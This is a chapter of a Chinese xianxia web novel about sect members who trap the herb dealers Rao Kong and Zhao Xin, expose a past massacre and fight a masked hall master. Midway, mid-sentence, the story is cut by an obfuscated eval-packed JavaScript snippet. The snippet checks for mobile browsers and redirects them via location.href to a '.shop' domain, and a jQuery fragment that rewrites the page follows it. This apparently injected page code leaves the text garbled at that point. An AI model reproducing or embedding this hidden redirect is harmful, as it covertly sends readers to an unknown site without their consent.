邵柏言稍稍低头看着她亮晶晶的双眼,想了想,如实说:“我并不知道当年具体的事情,很难说谁对谁错,或者都没错只是观点不同。年少之时一腔热情也有可能被现实不断击垮,最终变成曾经自己最讨厌的人。我也曾为弟子,我所做的每一个决定可以尽可能随心所欲,因为我知道我有师兄师姐还有师父兜底,他们便是我坚实的后盾。
可是当我独立承担起一个门派的掌门之时,身上的责任随之而来,我便不可能那么随心所欲,我要考虑方方面面的问题。胡坪长老也是如此,但我想,我与胡坪大概都有一个共性,在现实面前,都想尽可能保留一颗赤子之心,去体谅他人不易,帮助更多的人,当然最重要的还是为了师父报仇,找证据,获取更高的位置,更多的权力是我们现在珠崖派的主要任务。若是此仇能报,那我就好好地经营珠崖派,让它成为一个更有温度的门派。”
说到此,他不知道想起什么,自嘲一笑,“听起来还真是虚幻不真切,我也没有把握我会不会变得像我曾经讨厌的人一般。”
诗景将手轻轻地放在他的手背之上,“我虽经历不多,但也曾下山见过人间之事,人心复杂,世道不公,很多人会被一步步逼到绝路以至于违背了初衷,可能是为了争权,可能是为了逐利,也可能是为了别的,谁都不敢说自己会不会变化,但是我也曾见过一些始终满怀热忱之人终生为其奋斗,世间黑暗之时太多了,我们能做的便是发自己的光,照亮自己,照亮力所能及的身边人,让这个世界上的黑暗不公之事能少一件便是一件。”
邵柏言瞳孔微放大,被她覆盖的手,手心慢慢靠拢虚握。“我现在有些明白以往长老们是怎么看待小辈们的豪情壮志了。”
诗景打断他的话,“怎么,嫌弃我此话太过理想化,明明懵懂无知却又豪言壮语?”
邵柏言笑,“是有点。”
诗景也笑了,她能看出邵柏言此时的笑容并非嘲讽,是一种找到类似同伴不自觉地笑容,诗景看着他:“掌门今年几岁了?”
邵柏言笑容淡了些许,“怎么?”他第一反应是诗景是不是嫌弃他年纪比她大了,但也不一定,她现在不记得过去的事情了,万一她和他年龄相当呢,思及此,他才安慰自己稍稍放一下心。只是他的心始终悬着。
诗景“嗯?”了一声,语调上扬,“一百?”
邵柏言立马否定,“没有,八十。”说到后面,声音都小了些。
不过好在诗景也没在意,“居然八十了呀,你看起来和二十出头真的差不多。不过,修仙者大多都会控制自己的容貌。”
邵柏言有些不满,语气不自觉带着委屈,“怎么,你嫌弃我年纪吗?”
诗景看着眼前的男人微蹙眉,眼中带着显而易见的委屈,笑了笑,她拍拍他的手背,“别多想,我只是在想,这个世道艰难,许多人在现实面前都会变得世俗上的成熟。你经历过门派变故,又与朋友一同建立起一个门派,却很难得始终保留着一颗赤子热忱之心。”
“嗯?所以你是不喜欢成熟之人?”
“我喜欢你,同时我也喜欢你始终怀着一颗真诚之心。”诗景看出他下意识想要反驳,手指点了点他的手背。
他果真再次认真听她说,“知世故而不世故,是我在你们几位长老面前看到的,即便是廖长老,也是如此。我知道你身为一派掌门避免不了要算计一些,是很正常的。”
人各有所好,虽然诗景见识并不多,遇到的人也少。但她似乎天生情感充沛,对他们的喜怒哀惧爱恶欲十分敏感,在诗景看来,年龄并不是幼稚与成熟的唯一标准。成熟男子在经历过世道不公后会不自觉收起棱角,变得低调沉稳,八面玲珑。这当中有一部分人妥协的背后是浑浑噩噩,得过且过,低调沉稳之后是来回比较,利益相当的算计,忘却本心初衷。
这并不能说他们有错,世道太过艰难,每个人选择的道路不一样。所谓道不同不相为谋,便有其中之意。
诗景靠近他,眨了眨眼,突然在他右脸颊亲了一下,邵柏言猝不及防,眼睛微瞪大,眉眼展开,嘴角不自觉上翘了些许。诗景慢慢坐直身子,观察着他的反应,温柔地陈述:“我好像,更喜欢你了。”
邵柏言使用灵力将她的椅子往后好几步,椅子滑动地板的声音在安静的房间有些刺耳,他垂下眼眸,避开她直晃晃的眼神对视。谁知诗景却笑了起来,笑声清脆悦耳,就这么传到他的耳中,“好啦,不逗你了。”
诗景看着他耳朵突然间红起来,嘴角上翘,她将左手靠在一旁的桌面上,将自己的脑袋靠上去,欣赏了好一会他的害羞模样。
邵柏言又怎么察觉不出她的注视,转移她的注意力,“所以胡坪是我们这几位长老里唯一一位并非因炼魂禁术而加入我们的,他加入我们更多的是那份医者仁心使然。”他顿了一顿,赞许道:“他真的很了不起。”
庭院中的乔海潞静静再次听完他补充过一些细节的事件,细声细语安慰道:“你很了不起,能坚持自己内心所坚持的道义是很多人所做不到的。”
胡坪摇摇头,笑了笑,“自从我当上这个长老后,我发现确实要考虑诸多事情。或许当年确实太年少轻狂了些。”
“不一样,若以后你也经历类似的事情,我想你会做得比你师父更好。”
这番坚定有力,充满信任感的语调,让胡坪忍不住上扬嘴角,当年他之所以加入这个有些狼狈的队伍,正是看出了这群年轻人身上有着如他一般的“傻气。”能走多远,能走多高,没有人有把握,但做好眼下之事便无愧当下的自己。
乔海潞察觉出他的心情好了些,这才切入正题,“明日与饶崆会面,那个张家主必然也会出现,我吸引张家主的注意力,你配合诗景把饶崆引到雪山上边去。”
她详细说了她们的打算。最后她才说,“我知你心系那些受难百姓,但是饶崆毕竟是幕后主使,只有把他抓住了,那些灵草才有可能会有下落,届时你再出发城池为百姓配置解药。”
“我明白的。”
按照计划,乔海潞与胡坪早早便伪装好进入张府,这也是鬼市为数不多大清早便开始热闹起来的日子。
乔海潞安排好的人便大声议论,“听说昨日来了两个陌生女人高调疯狂收购绞荇草,整个鬼市的灵药铺都问遍了,据说啊,这价钱出得也不低。”
“这不是要与饶崆抢生意?我看啊,这两女人要完。”
“你知道什么,我的人说这两女人昨夜被一个来路不明的小厮叫住,再出现时满脸兴奋,而且我的人还听到她们说什么低价收购了大量的绞荇草。”
此言一出,全场安静片刻,随后炸开了锅。谁不知道这来历不明的饶崆掌控着这绞荇草,他们这些商贩手中最多只能有一两株,不仅如此,这饶崆还掌握着许多珍贵灵草,让他们这鬼市灵草几乎流通不了,少了一大笔可以赚钱的渠道,眼前有人把绞荇草大量低价购买了别的商贩,或许背后那人有比这龙头老大张府更多的物品,谁不想赚钱,有钱不赚是傻子,在场不少人蠢蠢欲动,纷纷问话那人更多的细节。
饶崆的心腹自然也在场,当他将这话传递给饶崆时,那人苍老满是皱纹的脸紧绷着,双眼黑洞洞的,“哦,居然有这等事。这赵鑫死死守着绞荇草,我们受限他太久了,若是能找到更多的平替那是再好不过了。”
心腹猜测:“主人,你说会不会是赵鑫种植地的手下私自拿出来贩卖,属下记得这城池,我们炼制的东西卖得也不错,还收获了一批信徒,说不定我们的信徒里就有他的手下。”
饶崆沉默片刻,“有可能,你跟着那几人查那女人的下落。还有我要知道她们收购绞荇草的目的。注意些,别是中了他人的引蛇出洞。我去会会那林家后人。”
“是。”
易容过后的乔海潞,胡坪与饶崆不久后碰面了。
“在下饶崆,不知道阁下如何称呼?”满是褶皱的面庞带着长期以来的阴狠的眼神望着乔海潞,她身旁那弟子与他差不多修为,想来便是她的随从了,简单瞥了一眼。
乔海潞与胡坪对视一眼,都从彼此眼神里读懂意思。“林某不过是普通不过的商人,听闻饶老板是这一带有名的富商,故来做些交易。”
“开门做生意,来者便是客。不知道林老板想要些什么呢。”
“卜魄。”乔海潞薄唇轻启,却带着寒冷。
饶崆微眯着眼,将她全身扫视了一遍,“你真的是?”
“怎么?很出奇?饶老板怕是恨我林家恨得要命吧。当年的卜魄,你也出了不少力吧。”这话说得直接,一旁偷听的张家主皱起眉头。
乔海潞扯出一个冷笑,“我近来兴致上来了,想要饶老板的绞荇草,不知道饶老板可否还有多余的存货。”
“不瞒林老板说,我也没有多的存货,我也是在这鬼市里谋多俩株,不知道林老板可听闻过昨日两女子购买药材之事?”
“自是当然,我的人跟着呢,若是饶老板没有那就没什么交谈的必要了,慢走不送。”乔海潞坐在椅子上,语气傲慢,看起来连一个多余的眼神都不想交于旁人,确实与他印象中卜泞一带的林家人趾高气昂,从鼻孔看人十分符合。
“那林老板可有什么线索?”饶崆不停地试探着。
“关你何事,我可是听说那女人,以这个数买到一大箱。”她用手指比划了个数,笑,“你能这个数卖给我就谈,不能滚。我可没什么耐心。”
果不其然,饶崆脸上甚至掩不住震惊,毕竟便宜了将近一半的价钱,虽然动作不大,但还是能察觉,胡坪这时候不经意转身,从储物戒中掏出茶具,为她泡制茶。饶崆一下子就能从他储物戒中感受到绞荇草的波动,这个小厮大概能力不强,储物戒并不是上佳的物品,轻易泄露了气息。
他眼神犀利片刻,“林老板身旁这小厮可曾去过什么地方。”
胡坪立马僵住了身子,反驳道:“你胡说什么。我哪里去过什么地方。你别乱说。”
乔海潞蹙眉,不满:“饶老板管的可太宽了,我的人自然是在我身旁呆着。”
胡坪立马疯狂点头,接话:“就是,我一直在家主身旁。哪都未曾去过。”额间还冒出了些许冷汗。
这让饶崆更加确信心中的猜测,这个小厮大概是个吃里扒外的东西,瞒着主子找到了那两个女人,私吞了绞荇草,可怜这女人还什么都不知道。
他朝着身旁的心腹使了个眼色,软了态度,“原来是林家主,可否借一步说话,做生意嘛当然有商有量才能持久。”
乔海潞看了他好一会,这才挪步。“你留在这,若是张傲出来了,来和我说一声。”
“是。”胡坪恭敬回应。
饶崆带她去一旁却是各种无关轻重的话术让乔海潞没了耐心。
“行了,我还当你真心想商量,却扯东扯西了这么久,我看呐我们也没什么交流下去的必要性了。”毫不留恋地迈步离开。
再回到待客厅,两人用秘术交谈,乔海潞先问,“如何?”
“他身旁的心腹果真利用禁术诱我说真话,我便把他们引到那帮雪山之人那边去了,接下来就看诗景了。”
“好。你可还好,这禁术不好受。”
“放心,这点我还能控制住。对了,我怀疑这张傲便是赵鑫,我先前从诗景那学了她新弄的气息追踪术,是英豪派的气息。你小心些,这人现在灵力不低。”
“我知道了。”乔海潞表情严肃起来,她之所以选用这个身份,自然也是考虑到了家仇,这个张傲和饶崆怕是也参与了当年天灾推动之事之中。
……
诗景正在闭目打坐修炼,感受到门外数十人来路不明的气息,突然间睁开眼睛,一双桃花眸此刻却是闪过凌厉。来了!她心想着。
门外数十人眼神对视一眼,破门而进,其中一人握剑朝她的脖颈之处袭来,诗景感受到他的剑气,弯下腰躲过他的这一招式,她也能看出这个人并不想置她死地,剑意虽然凌厉但却没有杀意。
剑从她腹部上划过,诗景抬脚踢向他的腹部,一个鱼跃从床上蹦起,格挡住正前方两人的攻击,她将灵力打向他们的手腕处,俩柄剑瞬间从他们的手滑落。
诗景右手接住其中一把剑,她的手腕轻转,一道剑意将眼前即将冲上来的人逼退至门口,她撇了一眼身后被她击中腹部的黑衣人,释放出灵力控制住他的动作,快速地挽了个剑花,反转剑的方向一剑刺入他的胸口处,随即毫不犹豫拔出,鲜血喷出撒落地板,却没有一滴落在她的服饰之上。
她看向始终站在门口不曾出手之人,“你是何人?”
“来合作之人。”那黑衣人说完瞬移至她的身旁,诗景侧身躲过他这蓄着灵力的一招,反击,来回过了几招,谁知那人却以一种诡异的姿势打落她的剑,诗景分了心,被他定住身子。他掌心运起黑色气团摆在她的脸正前方。
“说,绞荇草在何处?”
诗景愣了一下,这个人为什么要把手放在她眼前,这一招并没有任何的杀意,威胁是用这种招式吗?正当她犹豫要不要配合他说出先前想好的话时,对面之人心下已是惊讶万分,眼前的女人灵力不过修炼十来年,不值一提,却能抵挡住他的禁术,所有比他灵力低的都抵挡不住这禁术,吐露出真话。即便有极个别意志坚强的,那就也满头大汗,痛苦得面目狰狞。
诗景看他惊讶的表情,再联想到先前胡坪再三和她强调的禁术,心下了然,这个就是可以让人吐露真话的东西了,所以在他加强灵压之时,配合他表情变得麻木,看起来像是个被操控的木头人。
对面那人这才稍微放下心,呼出一口气,“说,绞荇草在哪里?”
“我不知道,那人还没有卖给我们。”
“那个人是谁?”
“昨日突然出现的一个人,他的屋内都是,我与小姐看时都是与市场无异的绞荇草,但是小姐想压价,约定了若是考虑好了便今日午时与他再会面。”
“带我们去找他。”
他们对自己的禁术很是自信,没有一点怀疑地紧跟着她走,在出门时,她朝着角落里隐身的廖旭泽使了眼神。
“咚咚咚。”敲门声响起。
“谁?”
“买家。”诗景言简意赅回复。
门一下子便打开了,男人一脸兴奋,“确定好买入了吗?”却看到女人后面站着数十人黑衣人,他忍不住往后踉跄半步,“您这是?”
黑衣人接话,“我们是来替小姐护送灵草的,灵草珍贵,不得掉以轻心。”
男人犹豫了许久,黑衣人的耐心也逐渐消失,在即将告罄的边缘时男人终于把门打开,让他们所有人进去,男人试探性问,“就按昨日说得价格来?”
黑衣人手腕转动,想让诗景说话,可惜她站在他的前方,诗景又不受他所控,黑衣人眉头皱起,对她的身份存疑。他接话,选了个不会让人生疑的话,“按照昨晚协商的价格,按这个储物戒里的灵石相对应给货。”
那男人接过储物戒,打开查看,两眼放光,“没问题。”
在男人使用灵力时,黑衣人勾起嘴角,原来是他们的信徒,这就好办了。他悄无声息地下了追息术,带着诗景离开。放长线钓大鱼,他要把他背后的种植地找到,就先留这人一条命暂且活着。
一旁的属下问,“这个女人怎么处置?她杀了我们的兄弟。”
黑衣人对她的身份存疑,犹豫了半刻。
也就是这时,诗景突然发动进攻,朝他攻击。
“你果然摆脱了我的控制。”黑衣人神情不明。
诗景知道她刚刚必然露出了马脚,但这件事不能半途而废,不能毁在她手中,“这话说得可不对,若不是你见到绞荇草放松了警惕,我也没这么容易挣脱。”
一句话打消他大半疑心,的确他刚刚有片刻松懈了。
“今日夺灵草之事,我家小姐不会就此罢休的。”诗景不恋战,攻击周围包围圈最薄弱之处突围而出。领头人将用灵力压制住她,被她反身一个甩手格挡住,离开了。
诗景返回雪山那伙人的破屋,看到廖旭泽正眼神示意她,“我应是露出了破绽,他们生疑了。不知道他们还会不会顺着查这条线。”
“他们受限绞荇草许久,即便是陷阱也会赌一把。”廖旭泽安慰她,“你第一次独立执行新任务,平安归来就好,好好总结经验。”
那边的心腹回到饶崆身旁,将事情一五一十讲述给饶崆听,饶崆盘着手腕的珠子,好半晌他才开口:“看来有人想让我们知道这件事,所图为何?”
心腹眼珠子一转,“莫不是想整这赵鑫?这赵鑫这些年早已抛却最初的小心翼翼,化名张傲在这鬼市当这龙头老大,鬼市里不少人对他怨气冲天。”
“想整他,为何一定用绞荇草,上次我们一个炼制地就被发现了,大意不得。你也说了,那个女人灵力比你低这么多,却能抵挡住你的吐真术,这个人不简单啊。”
“主人的意思是不再追查了?”
饶崆打开窗,向对面禁闭的房门望去,刚刚那个早应该死去的林家主已经被张傲邀请进房门,这个张傲越来越嚣张了,早些年还会因为自己是个名门正派的弟子而处处收敛,如今野心膨胀起来,竟是连假情假意都不愿装一把。
“不,依旧要查。我们虽与赵鑫有多个合作,但最重要的绞荇草却是受限得死死的,堂主对我们早已不满。这件事有异,禀告堂主,人,我们也要追查。”
“属下明白。”
而一旁的乔海潞同样面临着探究。赵鑫看着眼前这女人,一个自称林家家主的女人,一个早应该死在多年前的人,居然还活着。
“林家主此番出世所为何事?”赵鑫语气中带着显而易见的探究。
“张家主此言差矣,我林家何时入世了?”乔海潞靠在椅子上,只用眼角轻轻地瞥了他一眼,神情极其傲慢,这眼神,倒真是像极了林家人。
想当初,他因为在这鬼市初露锋芒就被这所谓隐世多年的家族找上门了,那时候那个家主也是一样的不屑一世的眼神,似乎眼前的他是什么脏东西一般。他赵鑫穷苦出身,好不容易得到了一定的财富与权势,却依旧被这大家族鄙夷。他内心的不甘怨恨在那一瞬间达到了最大,回去后便伙同炼魂禁术,配合他们,利诱乔家仆人,剿灭整个林家。只是为何,为何这林家还没有剿灭,那乔峖稳难道因为身受剧毒就没有斩草除根吗?
“这倒是我口误了,见谅见谅哈哈。”心中万般怨恨,脸上却笑哈哈。“林家主此次来是为何事?”
“卜魄。”
赵鑫眼神微微一眯,“这话我怎么听不懂了。”
“不懂?当年你联合他人把乔家引来我这时,用得不正是卜魄吗?”乔海潞凌厉的眼神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901302|186477||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着他,“卜魄,卜泞一带最珍贵的灵石,当年你利用卜魄的能量,将乔峖稳循着踪迹追到林家,又在卜魄中参入了大量的禁术,让我林家死的死,伤的伤,随后被乔峖稳带着人厮杀。赵某好兴致啊。”最后几字,她身子前倾看着他一字一字地说。“可惜了,我还没死。你很失望吧。”
赵鑫没想到她这么直接,这毕竟是他的地盘,眼前的女人灵力他虽看不出高低,但不过两人而已。思其此,他又不慌了,他放松身子,靠在椅子后方,心底的怨恨终于忍不住显露在脸上,是以也没注意到乔海潞悄悄使了灵力,十分微弱的光芒浮在她的掌心处,她将手虚握放在桌面上。
“那又何如,你林家欺人太甚,我不过是在这里做了些生意,你们就眼红,用言语羞辱我,我做错了什么,你们这些世家虚伪至极,明明在意钱财在意的要命,还要给自己立一个视金钱如粪土的假象。虚伪至极!”
“所以你就联合炼魂禁术搞乔家与林家?”
“是又如何?你该担忧你的安危吧,这是我的地盘,若是你能跪下求我原谅你,为你们当年的羞辱为我道歉,我就考虑一下给你个体面。”
乔海潞冷笑一声,“你哪里来的途径与炼魂禁术勾搭。”怕他生疑,她故意激他,“你不过一个小小的生意人,哪里来的途径,谁给你的自信凭你这么个不成器的东西也妄想撬动我林家几百年的家业。”
赵鑫果然怒从心来,他猛然拍桌子,“但就是我这么个不成器的东西,毁了你林家。你不过是个苟延残喘的东西有什么资格侮辱我。你很好奇是吗,想死个明白,我告诉你,是二堂主找上了我,二堂主想剿灭你对家乔家,而我想搞死你们,不冲突吧。”
“我林家家大业大,瘦死的骆驼也比马大。”
赵鑫仿佛听到了什么好笑的事情,“你是说你的镇家之宝?那东西早已经被禁术那帮人拿走当做熔炉了,你还拿什么镇守?在禁术面前你们不过如此。”
“什么?熔炉?当年苍溪派四长老的那个熔炉?”乔海潞也没想到能听到这个答案。
“原来你知道啊,很吃惊?当年莫穹溯下山就是因为追踪到了禁术的熔炉异常,没想到最后却死在了禁术,顺带着把你家的熔炉一并毁了。自己家的镇家之宝早已毁的一干二净了,你还当自己是几年前那个不可一世的林家女吗,林家早毁了。”
乔海潞与胡坪眼神交流,都从对方眼神中看出了惊讶。“当年莫穹溯不就是因为被查出为禁术的始作俑者被围剿而死的吗,难道不是?”
“当然不是,禁术一直都在,莫穹溯不过一个被拉下水的可怜鬼罢了。”赵鑫说完,眼神一变,变得无比锐利。他直直地朝两人扫视过来,“你们是什么人?你们不是林家的。”
他顿了顿,眼神一转,“知道林家与乔家,卜泞。原来是乔家遗孤——乔海潞。珠崖派的胆子也是够大啊。进了我的地盘,只有死路一条!”
他甩出一个灵力,数十人瞬间瞬间出现在房间内。乔海潞与胡坪也不再犹豫召唤出佩剑迎敌。
对面房屋的饶崆自然感受到了这边的灵力波动,“打起来了?当年林家之事赵鑫确实贡献了许多,这次绞荇草恐怕就是这林家报复赵鑫的招式。”
心腹问:“如此看来,先前那些人也是林家主搞出来的。为的就是搞死赵鑫,这样前面发生的就能说通了。”
“很有可能,快,现在去追击那伙贩卖绞荇草的人。不管这次赵鑫死不死,我们必须这次把种植地掌握在我们自己手中。”饶崆与心腹立马离开这张府。
赵鑫在一旁仔细地观察他们的招式,胡坪的招式让他微蹙眉,他从座位上瞬移至他身旁,与他过招,来回几招,赵鑫抵着剑反问:
“英豪派的招式,你是胡坪?”
“是又如何?”胡坪将他压下来的剑抵挡开,“反倒是你这个招式,你我以前是不是见过。”赵鑫没有言语,专心对打。
这里的对打瞒不住周围的人,一波又一波的灵力压很快吸引了旁人的注意,居然有人敢在这张府闹事,那些人在躲避的同时也在看好戏。
赵鑫的灵力比胡坪高,再加上有属下相助,一时之间,胡坪节节败退,乔海潞赶到他身旁,替他格挡住一个杀招,胡坪说:“你以为我们直接暴露身份是一点准备都没做吗?”
赵鑫眉头一皱,一股不安涌上心头,“什么意思。”
“字面上的意思。”胡坪感受了一下周围的灵力,“来了。”
赵鑫突然感受到头顶上极具压迫的灵力压,他立马与属下运起灵力抵挡住这灵力压。
人未至声先到,一道中气十足的声音在这一府邸响起,“赵鑫,你好大的胆子!”周围的看客顿感不妙,疯狂逃走。
这声音,是胡坪前师父英豪派五长老郑文凯的声音。此人不仅擅长医术,灵力更是不容小觑。不然如何担得起这天下第二大派长老之位。
赵鑫被这股灵力逼得双膝跪地,他正欲使用禁术逃离,一把上品宝剑夹带着汹涌的灵力席卷而来,周围的门窗也被这股灵力碾压瞬间破碎一地。他的下属在空中翻转了好几圈重重摔落在地。宝剑将他全身灵力散去,深深插入他的左肩,赵鑫倒地,吐出一大口血,脸上的易容也随之消失不见。
而胡坪在看到他抵挡宝剑时无意甩出的招式双眼瞪大,忍不住喃喃出声,“赵兄。”
赵鑫抬头看去,一位身材魁梧的人正站在他的跟前,刚刚杀意腾腾的宝剑此刻在他手中却安安静静的。
胡坪也褪去伪装,与乔海潞郑重地行礼:“见过郑长老。”
另一边,廖旭泽也与邵柏言汇合,他们静候在雪山阵法前等待两伙人的到来。
“来了。”廖旭泽看向远方,这群人远没有上次那么从容,他们步履匆匆,以至于根本没在意到后面还跟着数十人。
“是上次对我使用禁术的那人,他身旁那个灵力稍微高点的可能就是饶崆。”诗景使用密术隔音传话。
几人急匆匆地打开阵法,饶崆与邵柏言两伙人一前一后分别在阵法关闭的最后时刻跃进阵法之中。
“太险了,还好低价卖出去了。快些吧,今日是主子来查灵草的日子。要是被察觉出什么,你我都得死。”领头那人拍着胸脯,心有余悸地说着。
进了这雪山处,饶崆可没有那么有耐心了,“原来这就是赵鑫种植绞荇草的地方,没想到居然会设在这禁地重重之地,雪山。呵,确实是我未曾想过的方向。”
未曾走多久,放眼望去,一片又一片绞荇草草田地印入眼帘。饶崆不再收敛自己的气息,气息刚一暴露,前面的几人就立马回过头来。没等他们说出什么,就被饶崆属下一拥而上,直接从脑门处给予一击,连话都不曾留下。直挺挺倒落在地,脸上尽是难以置信。
“赵鑫筹谋许久,竟只派了这么些废物来镇守?”心腹不屑地冷笑。
话音刚落,天地骤变,他们所处的地开始塌陷,一旁的阳光树围在塌陷圈的周围,它们的根开始变异,密密麻麻,又大且粗,盘绕在一起,似乎要围成一个包围圈,天上乌云瞬间密集聚拢。
邵柏言吐槽:“这饶崆也是个没耐心的,人说杀就杀。”
“怕是知道了赵鑫被抓之事了,想着赶紧把东西席卷而空然后离开这个地方。”廖旭泽猜测道。
正如廖旭泽所说,饶崆在快要踏入雪山之时,就收到赵鑫被英豪派长老捕获的消息。他们已经意识到这是个针对他们的陷阱,但是绞荇草种植地就在眼前,他一咬牙,决定赌一把。
空气中一股怪异压迫的气息自阵法外席卷而来,随着一声声“嗡嗡嗡”,蓄带着强烈的气息的箭矢破空而来,除了饶崆一伙人的方向,几乎每一个方位都被这一股密密麻麻的箭矢所覆盖。灵力带着压迫感,天地间的尘埃都似乎被这股力量扬起。这是逼他们不得不现身,这一股灵力强大可怖,幕后之人灵力丝毫不低于他们在场的所有人。
邵柏言一群人不得不现身。
饶崆阴狠的眼神直勾勾盯着邵柏言,“你们隐藏气息很强,我们根本察觉不出,不过你们有后手,不代表我们就没有准备。”
天上的雷电被一股灵力压压制在一旁,一个一身黑衣的男人蒙着黑色面罩出现在雷云一旁,他手臂抬起,手肘由内向外甩开,“不过区区护山阵,也妄想拦我的路吗。”灵力将雷电云团包裹起来,一圈又一圈往里缩,最终雷电团湮灭在灵力压之下。
饶崆一伙人抬头看向那黑衣人,神情恭敬,声音整齐划一。“参见二堂主。”
邵柏言召唤出惊睨剑,将珠崖派各弟子护在身后。“小心,这人灵力不低。”
二堂主扫视了一眼周围的绞荇草,“这就是你们找了那么久的种植地?数量尚可,全部拿走。”
饶崆恭敬应了声好,眼睛瞥了一眼邵柏言他们,询问道,“这些人怎么办?”
“阻我们者死。”
他废话不再多说,直接唤出剑,剑意锋锐夹带着压抑万分的气息,向邵柏言攻击下来。邵柏言左手腕转动,他们脚下阵法瞬间生起来,繁复交错的图腾蔓延至阳光树的一旁,点点亮光在他们周身闪烁着。
是转移阵,邵柏言将他们全部转移至一旁,自己对付这个二堂主。饶崆对着心腹下命令:“你们去对付剩下的人,我去处理这些绞荇草。”
所有人都召唤出自己的武器,战斗一触即发。